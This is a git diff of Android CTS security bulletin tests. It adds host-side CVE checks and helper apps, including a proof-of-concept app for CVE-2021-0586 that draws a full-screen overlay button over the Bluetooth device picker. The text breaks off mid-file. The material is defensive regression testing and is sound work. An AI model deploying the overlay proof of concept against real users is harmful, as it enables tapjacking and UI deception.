WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2018_9594 extends SecurityTestCase { + + /** + * b/116791157 + * Vulnerability Behaviour: SIGSEGV in self + */ + @AsbSecurityTest(cveBugId = 116791157) + @Test + public void testPocCVE_2018_9594() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + pocPusher.only64(); + AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9594", null, getDevice()); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java index b0f19ada221..43a058c5543 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java @@ -23,7 +23,7 @@ import org.junit.runner.RunWith; import static org.junit.Assert.*; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_29368 extends SecurityTestCase { +public class CVE_2020_29368 extends SecurityTestCase { /** * b/174738029 @@ -31,7 +31,7 @@ public class CVE_2021_29368 extends SecurityTestCase { */ @AsbSecurityTest(cveBugId = 174738029) @Test - public void testPocCVE_2021_29368() throws Exception { - AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60); + public void testPocCVE_2020_29368() throws Exception { + AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java index 80de2890b69..db50504616d 100755 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java @@ -30,7 +30,7 @@ public class CVE_2020_29661 extends SecurityTestCase { * */ @Test - @AsbSecurityTest(cveBugId = 175451767) + @AsbSecurityTest(cveBugId = 175451802) public void testPocCVE_2020_29661() throws Exception { AdbUtils.runPocNoOutput("CVE-2020-29661", getDevice(),60); } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java new file mode 100644 index 00000000000..52e2a3a0e96 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java @@ -0,0 +1,51 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import org.junit.Assert; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0586 extends BaseHostJUnit4Test { + private static final String TEST_PKG = "android.security.cts.cve_2021_0586"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-0586.apk"; + + @Before + public void setUp() throws Exception { + uninstallPackage(getDevice(), TEST_PKG); + } + + /** + * b/182584940 + */ + @AppModeFull + @AsbSecurityTest(cveBugId = 182584940) + @Test + public void testPocCVE_2021_0586() throws Exception { + installPackage(TEST_APP); + AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", + getDevice()); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testClick")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java new file mode 100644 index 00000000000..0c8f0a9fd1b --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java @@ -0,0 +1,83 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import android.platform.test.annotations.RequiresDevice; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import java.util.regex.Pattern; +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.hamcrest.core.Is.is; +import static org.junit.Assert.assertThat; +import static org.junit.Assume.assumeTrue; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0591 extends BaseHostJUnit4Test { + + private static final String TEST_PKG = "android.security.cts.CVE_2021_0591"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-0591.apk"; + + @Before + public void setUp() throws Exception { + uninstallPackage(getDevice(), TEST_PKG); + } + + /** + * b/179386960 + */ + @AppModeFull + @AsbSecurityTest(cveBugId = 179386960) + @Test + public void testPocCVE_2021_0591() throws Exception { + ITestDevice device = getDevice(); + + assumeTrue("Bluetooth is not available on device", + device.hasFeature("android.hardware.bluetooth")); + + /* Clear the logs in the beginning */ + AdbUtils.runCommandLine("logcat -c", device); + installPackage(); + try { + runDeviceTests(TEST_PKG, TEST_CLASS, "testClick"); + } catch (AssertionError error) { + /* runDeviceTests crashed, do not continue */ + error.printStackTrace(); + return; + } + String screenshotServiceErrorReceiver = + "com.android.systemui.screenshot.ScreenshotServiceErrorReceiver"; + String logcat = + AdbUtils.runCommandLine("logcat -d BluetoothPermissionActivity *:S", device); + Pattern pattern = Pattern.compile(screenshotServiceErrorReceiver, Pattern.MULTILINE); + String message = "Device is vulnerable to b/179386960 " + + "hence it is possible to sent a broadcast intent to " + + screenshotServiceErrorReceiver; + assertThat(message, pattern.matcher(logcat).find(), is(false)); + } + + private void installPackage() throws Exception { + installPackage(TEST_APP, new String[0]); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java new file mode 100644 index 00000000000..0562b49b756 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0596 extends SecurityTestCase { + + /** + * b/181346550 + * Vulnerability Behaviour: SIGSEGV in self + */ + @AsbSecurityTest(cveBugId = 181346550) + @Test + public void testPocCVE_2021_0596() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + pocPusher.only64(); + AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0596", null, getDevice()); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java new file mode 100644 index 00000000000..d4bbfb3972e --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0636 extends SecurityTestCase { + + public void testPocCVE_2021_0636(String mediaFileName) throws Exception { + /* + * Non StageFright test. + */ + AdbUtils.pushResource( + "/" + mediaFileName, "/sdcard/" + mediaFileName, getDevice()); + AdbUtils.runCommandLine("logcat -c", getDevice()); + AdbUtils.runCommandLine( + "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/" + + mediaFileName, getDevice()); + Thread.sleep(4000); // Delay to run the media file and capture output in logcat + AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice()); + AdbUtils.assertNoCrashes(getDevice(), "mediaserver"); + } + + @Test + @AsbSecurityTest(cveBugId = 189392423) + public void testPocCVE_2021_0636() throws Exception { + testPocCVE_2021_0636("cve_2021_0636_1.avi"); + testPocCVE_2021_0636("cve_2021_0636_2.avi"); + testPocCVE_2021_0636("cve_2021_0636_3.avi"); + testPocCVE_2021_0636("cve_2021_0636_4.avi"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java new file mode 100644 index 00000000000..4df0f6ffde8 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java @@ -0,0 +1,36 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import org.junit.Test; +import org.junit.runner.RunWith; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0684 extends SecurityTestCase { + + /** + * b/179839665 + * Vulnerability Behaviour: SIGSEGV in Self + */ + @AsbSecurityTest(cveBugId = 179839665) + @Test + public void testPocCVE_2021_0684() throws Exception { + AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice()); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp new file mode 100644 index 00000000000..9adb876ad70 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-0586", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml new file mode 100644 index 00000000000..9ec48ca2b93 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml @@ -0,0 +1,49 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.cve_2021_0586" + android:versionCode="1" + android:versionName="1.0"> + + <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + <uses-permission android:name="android.permission.WAKE_LOCK" /> + + <application + android:allowBackup="true" + android:label="CVE_2021_0586" + android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> + <service android:name=".PocService" + android:enabled="true" + android:exported="false" /> + + <activity android:name=".PocActivity" + android:exported="true" + android:taskAffinity="android.security.cts.cve_2021_0586.PocActivity"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.cve_2021_0586" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png Binary files differnew file mode 100644 index 00000000000..cab903e0e02 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml new file mode 100644 index 00000000000..4d7ba2e1d42 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml @@ -0,0 +1,28 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:orientation="vertical" + android:id="@+id/parent" + android:background="#FFFFFF" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml new file mode 100644 index 00000000000..dcdbe0aa788 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml @@ -0,0 +1,19 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="overlay_button">OverlayButton</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java new file mode 100644 index 00000000000..8e315c094ca --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java @@ -0,0 +1,75 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0586; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.os.SystemClock; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; +import java.util.regex.Pattern; +import org.junit.After; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final String TEST_PKG = "android.security.cts.cve_2021_0586"; + private static final int LAUNCH_TIMEOUT_MS = 20000; + private UiDevice mDevice; + + @Before + public void startMainActivityFromHomeScreen() { + mDevice = UiDevice.getInstance(getInstrumentation()); + mDevice.pressHome(); + Context context = getApplicationContext(); + assertNotNull(context); + PackageManager packageManager = context.getPackageManager(); + assertNotNull(packageManager); + final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG); + assertNotNull(intent); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + context.startActivity(intent); + mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS); + } + + @After + public void lastOperation() { + SystemClock.sleep(LAUNCH_TIMEOUT_MS); + } + + @Test + public void testClick() { + Pattern pattern = Pattern.compile( + getApplicationContext().getResources().getString(R.string.overlay_button), + Pattern.CASE_INSENSITIVE); + BySelector selector = By.text(pattern); + String message = "Device is vulnerable to b/182584940 hence any app with " + + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen"; + assertNull(message, mDevice.findObject(selector)); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java new file mode 100644 index 00000000000..e242a4eba2d --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java @@ -0,0 +1,84 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0586; + +import android.app.Activity; +import android.content.Context; +import android.content.Intent; +import android.net.Uri; +import android.os.Bundle; +import android.os.Environment; +import android.os.Handler; +import android.os.PowerManager; +import android.os.PowerManager.WakeLock; +import android.provider.Settings; +import android.view.View; + +public class PocActivity extends Activity { + private WakeLock mScreenLock; + private Context mContext; + + private void startOverlayService() { + if (Settings.canDrawOverlays(this)) { + Intent intent = new Intent(PocActivity.this, PocService.class); + startService(intent); + } else { + try { + Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION); + startActivityForResult(intent, 1); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + private void stopOverlayService() { + Intent intent = new Intent(PocActivity.this, PocService.class); + stopService(intent); + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + mContext = this.getApplicationContext(); + PowerManager pm = mContext.getSystemService(PowerManager.class); + mScreenLock = pm.newWakeLock( + PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, + "PocActivity"); + mScreenLock.acquire(); + try { + Thread.sleep(6000); + } catch (Exception e) { + e.printStackTrace(); + } + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + startOverlayService(); + Intent sharingIntent = new Intent(Intent.ACTION_SEND); + sharingIntent.setType("image/*"); + sharingIntent.setPackage("com.android.bluetooth"); + Uri uri = Uri.parse("android.resource://android.security.cts.CVE_2021_0586" + + "/drawable/cve_2021_0586.png"); + sharingIntent.putExtra(Intent.EXTRA_STREAM, uri); + startActivity(Intent.createChooser(sharingIntent, "Share image")); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + mScreenLock.release(); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java new file mode 100644 index 00000000000..6f0df6a801e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java @@ -0,0 +1,98 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0586; + +import android.app.Service; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.Bitmap; +import android.graphics.Color; +import android.graphics.PixelFormat; +import android.os.Handler; +import android.os.IBinder; +import android.provider.Settings; +import android.view.Gravity; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; + +public class PocService extends Service { + public static Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + + private static int getScreenWidth() { + return Resources.getSystem().getDisplayMetrics().widthPixels; + } + + private static int getScreenHeight() { + return Resources.getSystem().getDisplayMetrics().heightPixels; + } + + @Override + public void onCreate() { + super.onCreate(); + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP; + mLayoutParams.width = getScreenWidth(); + mLayoutParams.height = getScreenHeight(); + mLayoutParams.x = getScreenWidth() / 2; + mLayoutParams.y = getScreenHeight() / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + if (Settings.canDrawOverlays(this)) { + mButton = new Button(getApplicationContext()); + mButton.setText(getResources().getString(R.string.overlay_button)); + mWindowManager.addView(mButton, mLayoutParams); + new Handler().postDelayed(new Runnable() { + @Override + public void run() { + onDestroy(); + } + }, 60000); // one minute + mButton.setTag(mButton.getVisibility()); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp new file mode 100644 index 00000000000..4afdb32662c --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp @@ -0,0 +1,35 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-0591", + defaults: [ + "cts_support_defaults", + ], + srcs: ["src/**/*.java"], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml new file mode 100644 index 00000000000..8e33f0a8539 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml @@ -0,0 +1,38 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_0591" + android:versionCode="1" + android:versionName="1.0"> + <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" /> + <application + android:allowBackup="true" + android:label="CVE-2021-0591" + android:supportsRtl="true"> + + <activity android:name=".PocActivity" android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_0591" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml new file mode 100644 index 00000000000..a85bec90a5a --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java new file mode 100644 index 00000000000..0ca91d80d0f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java @@ -0,0 +1,91 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0591; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.os.SystemClock; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import 